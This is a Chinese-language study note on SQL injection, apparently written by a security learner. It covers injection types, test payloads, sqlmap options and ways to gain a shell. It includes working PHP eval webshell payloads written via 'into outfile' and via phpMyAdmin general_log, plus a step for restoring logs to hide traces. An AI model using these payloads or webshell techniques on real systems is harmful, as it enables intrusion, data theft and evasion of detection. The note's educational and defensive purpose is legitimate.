sql注入(高危)
在安全意识日渐提高的当下,sql注入漏洞已经不如以前多见了,探查的难度也高了很多,但依旧没有任何公司敢说自己的网站绝对没有sql注入漏洞,该漏洞的危害在这么多年过去后依旧稳居前列,学习sql注入漏洞是白帽的必修课之一
原理:
数据库和sql语句
用户可控的参数可以被拼接到程序的sql语句中并被成功执行,那么用户就可以通过该参数来构造恶意sql语句。
判断数据库类型:
xxxxxxxx占个位置,以后写
危害:
数据泄露,文件读取,权限丢失等
ps:
sql注入一个比较快捷的用法是通过or关键字绕过检索限制
or 1=1
sql注释符:
# 单行注释注意与url 中的#区分,常编码为%23
--空格 单行注释注意为短线短线空格
/*()*/ 多行注释至少存在俩处的注入/**/常用来作为空格
注入分类:
根据注入点所在位置分为
get注入 :注入点在url参数
post注入:注入点在请求主体
cookie注入:注入点在cookie
xff注入等:注入点在xff头
根据注入方法分类
联合注入
1’and ‘1’='1
1’and ‘1’='2
布尔注入
1’and ‘1’='1
1’and ‘1’='2
回显不同证明
延时注入
'and sleep(10)
延时证明漏洞
报错注入
1’and info()–+
一般存在报错信息就可能存在报错漏洞
二次注入
堆叠注入
后端调用了在mysql 里mysqli_multi_query 和mysql_multi_query函数的情况下,存在该漏洞
手工挖掘:
在可能调用数据库的参数处,输入引号观察回显。
输入if逻辑判断,比较回显(布尔型注入)。
输入延时函数sleep(),观察回显返回时间(延时注入)。
输入语法错误,观察有无报错(报错注入。)
sql注入绕过
xxxxx占个位置,以后写
sqlmap
sql注入的神器,延时注入和布尔注入的救星。
示例:sqlmap -u’192.168.43.190/06/vul/sqli/sqli_str.php?name=vince&submit=1’ -p name --dbms mysql -v 1 --tables -D pikachu
常用参数
基本操作
python sqlmap.py --update 更新
sqlmap -h 帮助
攻击测试
常用
--current-user 大多数数据库中可检测到数据库管理系统当前用户
--current-db 当前连接数据库名
--force-ssl 如果是https协议的话,需要加上此项,不然很可能会timeout,连接失败
--random-agent 随机头部,一般还是加上,不然会被一部分网站拦截
目标
-u <url> 选择url作为攻击目标
-m <file> 从文本文件中获取攻击目标
-r <文件名> 从文件中读取http请求
指定(指定后,sqlmap就不用去尝试,可以提升效率和成功率)
--dbs <数据库类型>
----technique BEUSTQ 布尔/报错/联合/多语句/延时/嵌套查询 默认使用全部,也可以指定技术
-D <库名> 指定要枚举的 DBMS 数据库
-T <表名> 指定要枚举的 DBMS 数据表
-C <列名> 指定要枚举的 DBMS 数据列
-X <列名> 指定要排除的 DBMS 数据列
-U <用户名> 指定枚举的 DBMS 用户
定义测试
--level=LEVEL 设置测试等级(1-5,默认为 1),lv2:cookie; lv3:user-agent,refere; lv5:host
不同的level等级发送的pyload会有所不同,等级越高,速度越慢
--risk=RISK 设置测试风险等级(1-3,默认为 1),会逐步开放一些可能会威胁到数据安全的pyload,risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
--tamper=TAMPER 用给定脚本修改注入数据,该脚本可以自行编写
--delay=n n是数字,设置请求间隔,防止请求过快ip被ban
攻击目的
--dbs 枚举出 DBMS 所有数据库
--tables 枚举出 DBMS 数据库中的所有表
--columns 枚举出 DBMS 表中的所有列
附加参数(不影响结果)
--batch 在攻击过程中自动帮用户填写Y和N,按照默认来
-v 1~6 输出信息的详细程度
验证漏洞一般只要爆出库名就可以了
拓展:利用sqlmap getshell
指令:sqlmap --os-shell
前提:
- 知道网站的物理路径
- 高权限数据库用户
- secure_file_priv无限制
- 网站路径有写入权限
利用详情:
修复:
使用参数化查询,拒绝sql语句拼接执行
架设waf,可以挡住大部分的sql注入
拓展联想:
利用sql注入getshell:
使用 into outfile关键字将木马写入文件
条件:
-
参数不过滤引号(不然无法写入内容)
-
知道网站的绝对路径(电脑的文件路径)
-
对路径文件有操作读写权限(在my.ini配置文件中secure_file_priv参数没有具体值)高版本中secure_file_priv默认值为null
ps:
win中是my.ini linux中是my.cnf
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
sql命令:select @@basedir; 查找绝对路径
sql命令:show global variables like ‘%secure%’;查看secure_file_priv参数的设置
示例:
select ‘<?php eval("$_POST[xxx]")?>’ into outfile ‘d:/phpstudy_pro/www/1.php’
效果:将’<?php eval("$_POST[xxx]")?>'作为内容写入到D盘的/phpstudy_pro/www/路径下的1.php文件中
ps:注意,写入文件的路径必须是网站的目录,更具体的来说是可以被用户使用url合法访问到的地址,不然后门工具无法访问到后门的地址的话也就谈不上连接了,这一点在上传木马方面也同样适用,木马一定是可以被访问到的
利用phpmyadmin来getshell:
在phpmyadmin中不止可以使用上述方法sql注入写入命令,还可以使用日志来getshell
常量general_log默认是关闭状态,开启时会记录用户输入的指令,并将其存储在日志文件中
相关命令:
1.SHOW VARIABLES LIKE ‘%general%’ 查看general_log日志常量的开关状态
2.set global general_log = on; 开启日志记录模式
3.set global general_log_file=‘日志路径\shell.php’; 修改日志的存储路径以及日志存储的文件名(此处示例将日志存储在shell.php文件中)
4.select ‘<?php eval($_POST[cmd]);?>’ 只要指令中带有后门代码就可以,都会被记录的
5.清理犯罪现场
set global general_log_file=‘C:\phpStudy\MySQL\data\stu1.log’; 修改日志目录为原来地址set global general_log = off; 关闭general_log模式
这个方法的局限是我们还是需要对应目录的读写权限,不然无法写入文件。